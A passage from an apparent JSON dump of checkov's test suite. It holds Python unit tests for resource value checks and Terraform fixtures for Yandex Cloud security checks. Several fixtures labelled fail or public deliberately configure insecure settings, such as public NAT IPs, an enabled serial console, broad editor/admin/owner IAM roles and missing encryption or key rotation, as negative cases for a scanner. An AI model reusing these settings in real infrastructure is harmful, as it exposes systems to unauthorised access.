({\"check_result\": [True]}, CheckResult.PASSED),\n        ({\"check_result\": [False]}, CheckResult.FAILED),\n        ({\"foo\": [\"bar\"]}, CheckResult.UNKNOWN),\n        ({\"count\": [0], \"check_result\": [True]}, CheckResult.UNKNOWN),\n        ({\"count\": [1], \"check_result\": [True]}, CheckResult.PASSED),\n    ],\n    ids=[\"pass\", \"fail\", \"unknown\", \"count_zero\", \"count_one\"],\n)\ndef test_scan_entity_conf(conf, expected):\n    result = TestStaticCheck().scan_entity_conf(conf, \"ckv_test\")\n\n    assert result == expected\n"
  },
  {
    "path": "tests/terraform/checks/resource/test_base_resource_dynamic_value_check.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.terraform.checks.resource.registry import resource_registry\n\nclass TestDynamicCheck(BaseResourceValueCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self):\n        name = \"Ensure it ain't broke\"\n        id = \"test/TestDynamicCheck\"\n        categories = []\n        supported_resources = [\"doesnt_matter\"]\n        guideline = \"https://docs.prismacloud.io/policy-reference/test-policies/test-dynamic-check\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            guideline=guideline\n        )\n\n    def get_inspected_key(self):\n        return \"dynamic_block_name/[0]/foo\"\n\n    def get_expected_value(self):\n        return \"bar\"\n\nclass TestNestedDynamicCheck(BaseResourceValueCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self):\n        name = \"Ensure it ain't broke\"\n        id = \"test/TestNestedDynamicCheck\"\n        categories = []\n        supported_resources = [\"doesnt_matter\"]\n        guideline = \"https://docs.prismacloud.io/policy-reference/test-policies/test-nested-dynamic-check\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            guideline=guideline\n        )\n        \n    def get_inspected_key(self):\n        return \"outside/dynamic_block_name/[0]/foo\"\n\n    def get_expected_value(self):\n        return \"bar\"\n\n\nclass TestNestedMultipleDynamicCheckBlock1(BaseResourceValueCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self):\n        name = \"Ensure it ain't broke\"\n        id = \"test/TestNestedMultipleDynamicCheckBlock1\"\n        categories = []\n        supported_resources = [\"doesnt_matter\"]\n        guideline = \"https://docs.prismacloud.io/policy-reference/test-policies/test-nested-multiple-dynamic-check-block-1\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            guideline=guideline\n        )\n\n    def get_inspected_key(self):\n        return \"outside/dynamic_block_name/[0]/dynamic_block_1/[0]/key\"\n\n    def get_expected_value(self):\n        return 1\n\nclass TestNestedMultipleDynamicCheckBlock2(BaseResourceValueCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self):\n        name = \"Ensure it ain't broke\"\n        id = \"test/TestNestedMultipleDynamicCheckBlock2\"\n        categories = []\n        supported_resources = [\"doesnt_matter\"]\n        guideline = \"https://docs.prismacloud.io/policy-reference/test-policies/test-nested-multiple-dynamic-check-block-2\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            guideline=guideline\n        )\n\n    def get_inspected_key(self):\n        return \"outside/dynamic_block_name/[0]/dynamic_block_2/[0]/key\"\n\n    def get_expected_value(self):\n        return \"2\"\n\nclass Test(unittest.TestCase):\n    def test_dynamic(self):\n        data = {\n            \"dynamic\": [{\n                \"dynamic_block_name\": {\n                    \"content\": {\n                        \"foo\": \"bar\"\n                    }\n                }\n            }]\n        }\n\n        result = self._check(TestDynamicCheck(),data)\n        self.assertEqual(result, CheckResult.PASSED)\n\n    def test_dynamic_nested(self):\n        data = {\n            \"outside\": {\n                \"dynamic\": [{\n                    \"dynamic_block_name\": {\n                        \"content\": {\n                            \"foo\": \"bar\"\n                        }\n                    }\n                }]\n            }\n        }\n\n        result = self._check(TestNestedDynamicCheck(), data)\n        self.assertEqual(result, CheckResult.PASSED)\n\n    def multipleDynamicBlockData(self):\n        return {\n            \"outside\": {\n                \"dynamic\": [{\n                    \"dynamic_block_name\": {\n                        \"content\": {\n                            \"dynamic\": [{\n                                \"dynamic_block_1\": {\n                                    \"content\": {\n                                        \"key\": 1\n                                    }\n                                },\n                                \"dynamic_block_2\": {\n                                    \"content\": {\n                                        \"key\": \"2\"\n                                    }\n                                }\n                            }]\n                        }\n                    }\n                }]\n            }\n        }\n\n    def test_nested_multiple_dynamic_block_1(self):\n        result = self._check(TestNestedMultipleDynamicCheckBlock1(), self.multipleDynamicBlockData())\n        self.assertEqual(result, CheckResult.PASSED)\n\n    def test_nested_multiple_dynamic_block_2(self):\n        result = self._check(TestNestedMultipleDynamicCheckBlock2(), self.multipleDynamicBlockData())\n        self.assertEqual(result, CheckResult.PASSED)\n\n\n    @staticmethod\n    def _check(check, data):\n        return check.scan_resource_conf(data)\n\n    # This will install a custom check, so setUp/tearDown will ensure the check list is unchanged\n    # globally by our changes.\n    def setUp(self) -> None:\n        self.check_list_before = resource_registry.checks.copy()  # copy\n        super().setUp()\n\n    def tearDown(self) -> None:\n        super().tearDown()\n        resource_registry.checks = self.check_list_before\n        self.check_list_before = None\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/test_base_resource_negative_value_check.py",
    "content": "import unittest\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.terraform.checks.resource.registry import resource_registry\n\n\nclass TestAnyCheck(BaseResourceNegativeValueCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self):\n        name = \"Ensure it ain't broke\"\n        id = \"test/TestAnyNegativeCheck\"\n        categories = []\n        supported_resources = [\"doesnt_matter\"]\n        guideline = \"https://docs.prismacloud.io/policy-reference/test-policies/test-any-negative-check\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            guideline=guideline\n        )\n\n    def get_inspected_key(self):\n        return \"foo\"\n\n    def get_forbidden_values(self):\n        return [ANY_VALUE]\n\n\nclass TestStaticCheck(BaseResourceNegativeValueCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self):\n        name = \"Ensure it ain't broke\"\n        id = \"test/TestStaticNegativeCheck\"\n        categories = []\n        supported_resources = [\"doesnt_matter\"]\n        guideline = \"https://docs.prismacloud.io/policy-reference/test-policies/test-static-negative-check\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            guideline=guideline\n        )\n\n    def get_inspected_key(self):\n        return \"foo\"\n    \n    def get_forbidden_values(self):\n        return [\"not-foo\", \"not-bar\"]\n\n\nclass Test(unittest.TestCase):\n    def test_string_match_any(self):\n        result = self._check(TestAnyCheck(),\n                             {\"foo\": \"bar\"})\n        self.assertEqual(result, CheckResult.FAILED)\n\n    def test_string_match_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"bar\"})\n        self.assertEqual(result, CheckResult.PASSED)\n\n    def test_string_mismatch_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"not-bar\"})\n        self.assertEqual(result, CheckResult.FAILED)\n\n    def test_string_contains_var_any(self):\n        result = self._check(TestAnyCheck(),\n                             {\"foo\": \"something-${var.whatever}\"})\n        self.assertEqual(result, CheckResult.UNKNOWN)\n\n    def test_string_contains_var_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"something-${var.whatever}\"})\n        self.assertEqual(result, CheckResult.UNKNOWN)\n\n    def test_var_any(self):\n        result = self._check(TestAnyCheck(),\n                             {\"foo\": \"${var.whatever}\"})\n        self.assertEqual(result, CheckResult.UNKNOWN)\n\n    def test_var_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"${var.whatever}\"})\n        self.assertEqual(result, CheckResult.UNKNOWN)\n\n    def test_local_any(self):\n        result = self._check(TestAnyCheck(),\n                             {\"foo\": \"${local.whatever}\"})\n        self.assertEqual(result, CheckResult.UNKNOWN)\n\n    def test_local_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"${local.whatever}\"})\n        self.assertEqual(result, CheckResult.UNKNOWN)\n\n    def test_resource_any(self):\n        result = self._check(TestAnyCheck(),\n                             {\"foo\": \"${aws_s3_bucket.foo.bucket}\"})\n        self.assertEqual(result, CheckResult.FAILED)\n\n    def test_resource_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"${aws_s3_bucket.foo.bucket}\"})\n        self.assertEqual(result, CheckResult.PASSED)\n\n    @staticmethod\n    def _check(check, data):\n        return check.scan_resource_conf(data)\n\n    # This will install a custom check, so setUp/tearDown will ensure the check list is unchanged\n    # globally by our changes.\n    def setUp(self) -> None:\n        self.check_list_before = resource_registry.checks.copy()  # copy\n        super().setUp()\n\n    def tearDown(self) -> None:\n        super().tearDown()\n        resource_registry.checks = self.check_list_before\n        self.check_list_before = None\n"
  },
  {
    "path": "tests/terraform/checks/resource/test_base_resource_value_check.py",
    "content": "import unittest\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.terraform.checks.resource.registry import resource_registry\n\n\nclass TestAnyCheck(BaseResourceValueCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self):\n        name = \"Ensure it ain't broke\"\n        id = \"test/TestAnyCheck\"\n        categories = []\n        supported_resources = [\"doesnt_matter\"]\n        guideline = \"https://docs.prismacloud.io/policy-reference/test-policies/test-any-check\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            guideline=guideline\n        )\n\n    def get_inspected_key(self):\n        return \"foo\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\nclass TestStaticCheck(BaseResourceValueCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self):\n        name = \"Ensure it ain't broke\"\n        id = \"test/TestStaticCheck\"\n        categories = []\n        supported_resources = [\"doesnt_matter\"]\n        guideline = \"https://docs.prismacloud.io/policy-reference/test-policies/test-static-check\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            guideline=guideline\n        )\n\n    def get_inspected_key(self):\n        return \"foo\"\n\n    def get_expected_value(self):\n        return \"bar\"\n\n\nclass Test(unittest.TestCase):\n    def test_string_match_any(self):\n        result = self._check(TestAnyCheck(),\n                             {\"foo\": \"bar\"})\n        self.assertEqual(result, CheckResult.PASSED)\n\n    def test_string_match_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"bar\"})\n        self.assertEqual(result, CheckResult.PASSED)\n\n    def test_string_mismatch_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"definitely not bar\"})\n        self.assertEqual(result, CheckResult.FAILED)\n\n    def test_string_contains_var_any(self):\n        result = self._check(TestAnyCheck(),\n                             {\"foo\": \"something-${var.whatever}\"})\n        self.assertEqual(result, CheckResult.PASSED)\n\n    def test_string_contains_var_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"something-${var.whatever}\"})\n        self.assertEqual(result, CheckResult.UNKNOWN)\n\n    def test_var_any(self):\n        result = self._check(TestAnyCheck(),\n                             {\"foo\": \"${var.whatever}\"})\n        self.assertEqual(result, CheckResult.PASSED)\n\n    def test_var_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"${var.whatever}\"})\n        self.assertEqual(result, CheckResult.UNKNOWN)\n\n    def test_local_any(self):\n        result = self._check(TestAnyCheck(),\n                             {\"foo\": \"${local.whatever}\"})\n        self.assertEqual(result, CheckResult.PASSED)\n\n    def test_local_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"${local.whatever}\"})\n        self.assertEqual(result, CheckResult.UNKNOWN)\n\n    def test_resource_any(self):\n        result = self._check(TestAnyCheck(),\n                             {\"foo\": \"${aws_s3_bucket.foo.bucket}\"})\n        self.assertEqual(result, CheckResult.PASSED)\n\n    def test_resource_static(self):\n        result = self._check(TestStaticCheck(),\n                             {\"foo\": \"${aws_s3_bucket.foo.bucket}\"})\n        self.assertEqual(result, CheckResult.UNKNOWN)\n\n    @staticmethod\n    def _check(check, data):\n        return check.scan_resource_conf(data)\n\n    # This will install a custom check, so setUp/tearDown will ensure the check list is unchanged\n    # globally by our changes.\n    def setUp(self) -> None:\n        self.check_list_before = resource_registry.checks.copy()  # copy\n        super().setUp()\n\n    def tearDown(self) -> None:\n        super().tearDown()\n        resource_registry.checks = self.check_list_before\n        self.check_list_before = None\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_ComputeInstanceGroupPublicIP/main.tf",
    "content": "# default\nresource \"yandex_compute_instance_group\" \"default\" {\n  name                = \"test-ig\"\n  instance_template {\n    platform_id = \"standard-v1\"\n\n    network_interface {\n\n    }\n  }\n}\n\n# private\nresource \"yandex_compute_instance_group\" \"private\" {\n  name                = \"test-ig\"\n  instance_template {\n    platform_id = \"standard-v1\"\n\n    network_interface {\n      nat = false\n    }\n  }\n}\n\n# public\nresource \"yandex_compute_instance_group\" \"public\" {\n  name                = \"test-ig\"\n  instance_template {\n    platform_id = \"standard-v1\"\n\n    network_interface {\n      nat = true\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_ComputeInstanceGroupSecurityGroup/main.tf",
    "content": "# pass\nresource \"yandex_compute_instance_group\" \"pass\" {\n  name                = \"test-ig\"\n  instance_template {\n    platform_id = \"standard-v1\"\n\n    network_interface {\n      security_group_ids = [yandex_vpc_security_group.ssh-broker.id]\n    }\n  }\n}\n\n# fail\nresource \"yandex_compute_instance_group\" \"fail\" {\n  name                = \"test-ig\"\n  instance_template {\n    platform_id = \"standard-v1\"\n\n    network_interface {\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_ComputeVMPublicIP/main.tf",
    "content": "# pass\n\n# EC2 instance\n\nresource \"yandex_compute_instance\" \"default\" {\n  \n}\n\nresource \"yandex_compute_instance\" \"private\" {\n  network_interface {\n    nat = false\n  }\n}\n\n\n\n# fail\n\n# EC2 instance\n\nresource \"yandex_compute_instance\" \"public\" {\n  network_interface {\n    nat = true\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_ComputeVMSecurityGroup/main.tf",
    "content": "# pass\nresource \"yandex_compute_instance\" \"pass\" {\n  name = \"test-vm\"\n  network_interface {\n    security_group_ids = [yandex_vpc_security_group.ssh-broker.id]\n  }\n}\n\n# fail\nresource \"yandex_compute_instance\" \"fail\" {\n  name = \"test-vm\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_ComputeVMSerialConsole/main.tf",
    "content": "# default\n\nresource \"yandex_compute_instance\" \"default\" {\n  name = \"test-vm\"\n  platform-id = \"standard-v3\"\n  zone = \"ru-central1-a\"\n}\n\n# pass\n\nresource \"yandex_compute_instance\" \"pass\" {\n  name = \"test-vm\"\n  platform-id = \"standard-v3\"\n  zone = \"ru-central1-a\"\n\n  metadata = {\n    serial-port-enable = 0\n  }\n}\n\n# fail\n\nresource \"yandex_compute_instance\" \"fail\" {\n  name = \"test-vm\"\n  platform-id = \"standard-v3\"\n  zone = \"ru-central1-a\"\n\n  metadata = {\n    serial-port-enable = 1\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_IAMCloudElevatedMembers/main.tf",
    "content": "# pass\nresource \"yandex_resourcemanager_cloud_iam_member\" \"pass-1\" {\n  role     = \"viewer\"\n  member   = \"userAccount:user_id\"\n}\n\nresource \"yandex_resourcemanager_cloud_iam_member\" \"pass-2\" {\n  role     = \"alb.admin\"\n  member   = \"userAccount:user_id\"\n}\n\nresource \"yandex_resourcemanager_cloud_iam_binding\" \"pass-3\" {\n  role = \"viewer\"\n  members = [\n    \"userAccount:some_user_id\",\n  ]\n}\n\n# fail\nresource \"yandex_resourcemanager_cloud_iam_member\" \"fail-1\" {\n  role     = \"editor\"\n  member   = \"userAccount:user_id\"\n}\n\nresource \"yandex_resourcemanager_cloud_iam_binding\" \"fail-2\" {\n  role = \"editor\"\n  members = [\n    \"userAccount:some_user_id\",\n  ]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_IAMFolderElevatedMembers/main.tf",
    "content": "# pass\nresource \"yandex_resourcemanager_folder_iam_binding\" \"pass-1\" {\n  role = \"alb.viewer\"\n  members = [\n    \"userAccount:some_user_id\",\n  ]\n}\n\nresource \"yandex_resourcemanager_folder_iam_member\" \"pass-2\" {\n  role   = \"k8s.admin\"\n  member = \"userAccount:user_id\"\n}\n\n# fail\nresource \"yandex_resourcemanager_folder_iam_binding\" \"fail-1\" {\n  role = \"admin\"\n  members = [\n    \"userAccount:some_user_id\",\n  ]\n}\n\nresource \"yandex_resourcemanager_folder_iam_member\" \"fail-2\" {\n  role   = \"editor\"\n  member = \"userAccount:user_id\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_IAMOrganizationElevatedMembers/main.tf",
    "content": "# pass\nresource \"yandex_organizationmanager_organization_iam_binding\" \"pass-1\" {\n  organization_id = \"some_organization_id\"\n  role = \"viewer\"\n  members = [\n    \"userAccount:some_user_id\",\n  ]\n}\n\nresource \"yandex_organizationmanager_organization_iam_member\" \"pass-2\" {\n  organization_id = \"some_organization_id\"\n  role            = \"viewer\"\n  member          = \"userAccount:user_id\"\n}\n\n# fail\nresource \"yandex_organizationmanager_organization_iam_binding\" \"fail-1\" {\n  organization_id = \"some_organization_id\"\n  role = \"organization-manager.organizations.owner\"\n  members = [\n    \"userAccount:some_user_id\",\n  ]\n}\n\nresource \"yandex_organizationmanager_organization_iam_binding\" \"fail-2\" {\n  organization_id = \"some_organization_id\"\n  role = \"editor\"\n  members = [\n    \"userAccount:some_user_id\",\n  ]\n}\n\nresource \"yandex_organizationmanager_organization_iam_binding\" \"fail-3\" {\n  organization_id = \"some_organization_id\"\n  role = \"admin\"\n  members = [\n    \"userAccount:some_user_id\",\n  ]\n}\n\nresource \"yandex_organizationmanager_organization_iam_member\" \"fail-4\" {\n  organization_id = \"some_organization_id\"\n  role            = \"editor\"\n  member          = \"userAccount:user_id\"\n}\n\nresource \"yandex_organizationmanager_organization_iam_member\" \"fail-5\" {\n  organization_id = \"some_organization_id\"\n  role            = \"admin\"\n  member          = \"userAccount:user_id\"\n}\n\nresource \"yandex_organizationmanager_organization_iam_member\" \"fail-6\" {\n  organization_id = \"some_organization_id\"\n  role            = \"organization-manager.organizations.owner\"\n  member          = \"userAccount:user_id\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_IAMPassportAccountUsage/main.tf",
    "content": "# pass\nresource \"yandex_resourcemanager_folder_iam_binding\" \"pass\" {\n  role = \"alb.viewer\"\n  members = [\n    \"serviceAccount:some_user_id1\",\n    \"serviceAccount:some_user_id2\",\n    \"serviceAccount:some_user_id3\",\n    \"serviceAccount:some_user_id4\",\n  ]\n}\n\nresource \"yandex_resourcemanager_folder_iam_member\" \"pass\" {\n  role   = \"k8s.admin\"\n  member = \"serviceAccount:user_id\"\n}\n\nresource \"yandex_resourcemanager_cloud_iam_binding\" \"pass\" {\n  role = \"editor\"\n  members = [\n    \"serviceAccount:some_user_id\",\n  ]\n}\n\nresource \"yandex_resourcemanager_cloud_iam_member\" \"pass\" {\n  role     = \"alb.admin\"\n  member   = \"federatedUser:user_id\"\n}\n\nresource \"yandex_organizationmanager_organization_iam_binding\" \"pass\" {\n  role = \"viewer\"\n  members = [\n    \"federatedUser:some_user_id\",\n  ]\n}\n\nresource \"yandex_organizationmanager_organization_iam_member\" \"pass\" {\n  role            = \"editor\"\n  member          = \"federatedUser:user_id\"\n}\n\n# fail\nresource \"yandex_resourcemanager_folder_iam_binding\" \"fail\" {\n  role = \"alb.viewer\"\n  members = [\n    \"userAccount:some_user_id\",\n    \"serviceAccount:some_user_id\",\n  ]\n}\n\nresource \"yandex_resourcemanager_folder_iam_member\" \"fail\" {\n  role   = \"k8s.admin\"\n  member = \"userAccount:user_id\"\n}\n\nresource \"yandex_resourcemanager_cloud_iam_binding\" \"fail\" {\n  role = \"editor\"\n  members = [\n    \"userAccount:some_user_id\",\n    \"serviceAccount:some_user_id\",\n  ]\n}\n\nresource \"yandex_resourcemanager_cloud_iam_member\" \"fail\" {\n  role     = \"alb.admin\"\n  member   = \"userAccount:user_id\"\n}\n\nresource \"yandex_organizationmanager_organization_iam_binding\" \"fail\" {\n  role = \"viewer\"\n  members = [\n    \"userAccount:some_user_id\",\n  ]\n}\n\nresource \"yandex_organizationmanager_organization_iam_member\" \"fail\" {\n  role            = \"editor\"\n  member          = \"userAccount:user_id\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_K8SAutoUpgrade/main.tf",
    "content": "# pass\n\nresource \"yandex_kubernetes_cluster\" \"pass\" {\n  name = \"test-cluster\"\n  master {\n    maintenance_policy {\n      auto_upgrade = true\n    }\n  }\n}\n\n# fail\n\nresource \"yandex_kubernetes_cluster\" \"fail\" {\n  name = \"test-cluster\"\n  master {\n    maintenance_policy {\n      auto_upgrade = false\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_K8SEtcdKMSEncryption/main.tf",
    "content": "# pass\nresource \"yandex_kubernetes_cluster\" \"pass\" {\n  name = \"test-cluster\"\n  kms_provider {\n    key_id = \"${yandex_kms_symmetric_key.kms_key_resource_name.id}\"\n  }\n}\n\n# fail\nresource \"yandex_kubernetes_cluster\" \"fail\" {\n  name = \"test-cluster\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_K8SNetworkPolicy/main.tf",
    "content": "# pass\nresource \"yandex_kubernetes_cluster\" \"pass\" {\n  name = \"test-cluster\"\n  network_policy_provider = \"CALICO\"\n}\n\n# fail\nresource \"yandex_kubernetes_cluster\" \"fail\" {\n  name = \"test-cluster\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_K8SNodeGroupAutoUpgrade/main.tf",
    "content": "# pass\n\nresource \"yandex_kubernetes_node_group\" \"pass\" {\n  name = \"test-nodegroup\"\n  maintenance_policy {\n    auto_upgrade = true\n  }\n}\n\n# fail\n\nresource \"yandex_kubernetes_node_group\" \"fail\" {\n  name = \"test-nodegroup\"\n  maintenance_policy {\n    auto_upgrade = false\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_K8SNodeGroupPublicIP/main.tf",
    "content": "# private\n\nresource \"yandex_kubernetes_node_group\" \"private\" {\n  name = \"test-nodegroup\"\n  instance_template {\n    network_interface {\n      nat = false\n    }\n  }\n}\n\n# default\n\nresource \"yandex_kubernetes_node_group\" \"default\" {\n  name = \"test-nodegroup\"\n  instance_template {\n    network_interface {\n      \n    }\n  }\n}\n\n# public\n\nresource \"yandex_kubernetes_node_group\" \"public\" {\n  name = \"test-nodegroup\"\n  instance_template {\n    network_interface {\n      nat = true\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_K8SNodeGroupSecurityGroup/main.tf",
    "content": "# pass\nresource \"yandex_kubernetes_node_group\" \"pass\" {\n  name        = \"test-cluster\"\n  instance_template {\n    network_interface {\n      security_group_ids = [yandex_vpc_security_group.sg-ssh.id]\n    }\n  }\n}\n\n# fail\nresource \"yandex_kubernetes_node_group\" \"fail\" {\n  name        = \"test-cluster\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_K8SPublicIP/main.tf",
    "content": "# private\n\nresource \"yandex_kubernetes_cluster\" \"private\" {\n  name = \"test-cluster\"\n  master {\n    public_ip = false\n  }\n}\n\n# default\n\nresource \"yandex_kubernetes_cluster\" \"default\" {\n  name = \"test-cluster\"\n}\n\n# public\n\nresource \"yandex_kubernetes_cluster\" \"public\" {\n  name = \"test-cluster\"\n  master {\n    public_ip = true\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_K8SSecurityGroup/main.tf",
    "content": "# pass\nresource \"yandex_kubernetes_cluster\" \"pass\" {\n  name = \"test-cluster\"\n  master {\n    security_group_ids = [\n      yandex_vpc_security_group.kube-sg-ssh.id\n    ]\n  }\n}\n\n# fail\nresource \"yandex_kubernetes_cluster\" \"fail\" {\n  name = \"test-cluster\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_KMSSymmetricKeyRotation/main.tf",
    "content": "# pass\nresource \"yandex_kms_symmetric_key\" \"pass\" {\n  name              = \"example-symmetric-key\"\n  description       = \"description for key\"\n  default_algorithm = \"AES_128\"\n  rotation_period   = \"8760h\" \n}\n\n# fail\nresource \"yandex_kms_symmetric_key\" \"fail\" {\n  name              = \"example-symmetric-key\"\n  description       = \"description for key\"\n  default_algorithm = \"AES_128\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_MDBPublicIP/main.tf",
    "content": "# pass\nresource \"yandex_mdb_postgresql_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = false\n  }\n}\n\nresource \"yandex_mdb_sqlserver_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = false\n  }\n}\n\nresource \"yandex_mdb_mysql_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = false\n  }\n}\n\nresource \"yandex_mdb_mongodb_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = false\n  }\n}\n\nresource \"yandex_mdb_kafka_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  config {\n    assign_public_ip = false\n  }\n}\n\nresource \"yandex_mdb_greenplum_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  assign_public_ip = false\n}\n\nresource \"yandex_mdb_elasticsearch_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = false\n  }\n}\n\nresource \"yandex_mdb_clickhouse_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = false\n  }\n}\n\n# fail\nresource \"yandex_mdb_postgresql_cluster\" \"fail\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = true\n  }\n}\n\nresource \"yandex_mdb_sqlserver_cluster\" \"fail\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = true\n  }\n}\n\nresource \"yandex_mdb_mysql_cluster\" \"fail\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = true\n  }\n}\n\nresource \"yandex_mdb_mongodb_cluster\" \"fail\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = true\n  }\n}\n\nresource \"yandex_mdb_kafka_cluster\" \"fail\" {\n  name = \"test-mdb\"\n  config {\n    assign_public_ip = true\n  }\n}\n\nresource \"yandex_mdb_greenplum_cluster\" \"fail\" {\n  name = \"test-mdb\"\n  assign_public_ip = true\n}\n\nresource \"yandex_mdb_elasticsearch_cluster\" \"fail\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = true\n  }\n}\n\nresource \"yandex_mdb_clickhouse_cluster\" \"fail\" {\n  name = \"test-mdb\"\n  host {\n    assign_public_ip = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_MDBSecurityGroup/main.tf",
    "content": "# pass\nresource \"yandex_mdb_postgresql_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  security_group_ids = [yandex_vpc_security_group.ssh-broker.id]\n}\n\nresource \"yandex_mdb_sqlserver_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  security_group_ids = [yandex_vpc_security_group.ssh-broker.id]\n}\n\nresource \"yandex_mdb_redis_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  security_group_ids = [yandex_vpc_security_group.ssh-broker.id]\n}\n\nresource \"yandex_mdb_mysql_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  security_group_ids = [yandex_vpc_security_group.ssh-broker.id]\n}\n\nresource \"yandex_mdb_mongodb_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  security_group_ids = [yandex_vpc_security_group.ssh-broker.id]\n}\n\nresource \"yandex_mdb_kafka_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  security_group_ids = [yandex_vpc_security_group.ssh-broker.id]\n}\n\nresource \"yandex_mdb_greenplum_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  security_group_ids = [yandex_vpc_security_group.ssh-broker.id]\n}\n\nresource \"yandex_mdb_elasticsearch_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  security_group_ids = [yandex_vpc_security_group.ssh-broker.id]\n}\n\nresource \"yandex_mdb_clickhouse_cluster\" \"pass\" {\n  name = \"test-mdb\"\n  security_group_ids = [yandex_vpc_security_group.ssh-broker.id]\n}\n\n# fail\nresource \"yandex_mdb_postgresql_cluster\" \"fail\" {\n  name = \"test-mdb\"\n}\n\nresource \"yandex_mdb_sqlserver_cluster\" \"fail\" {\n  name = \"test-mdb\"\n}\n\nresource \"yandex_mdb_redis_cluster\" \"fail\" {\n  name = \"test-mdb\"\n}\n\nresource \"yandex_mdb_mysql_cluster\" \"fail\" {\n  name = \"test-mdb\"\n}\n\nresource \"yandex_mdb_mongodb_cluster\" \"fail\" {\n  name = \"test-mdb\"\n}\n\nresource 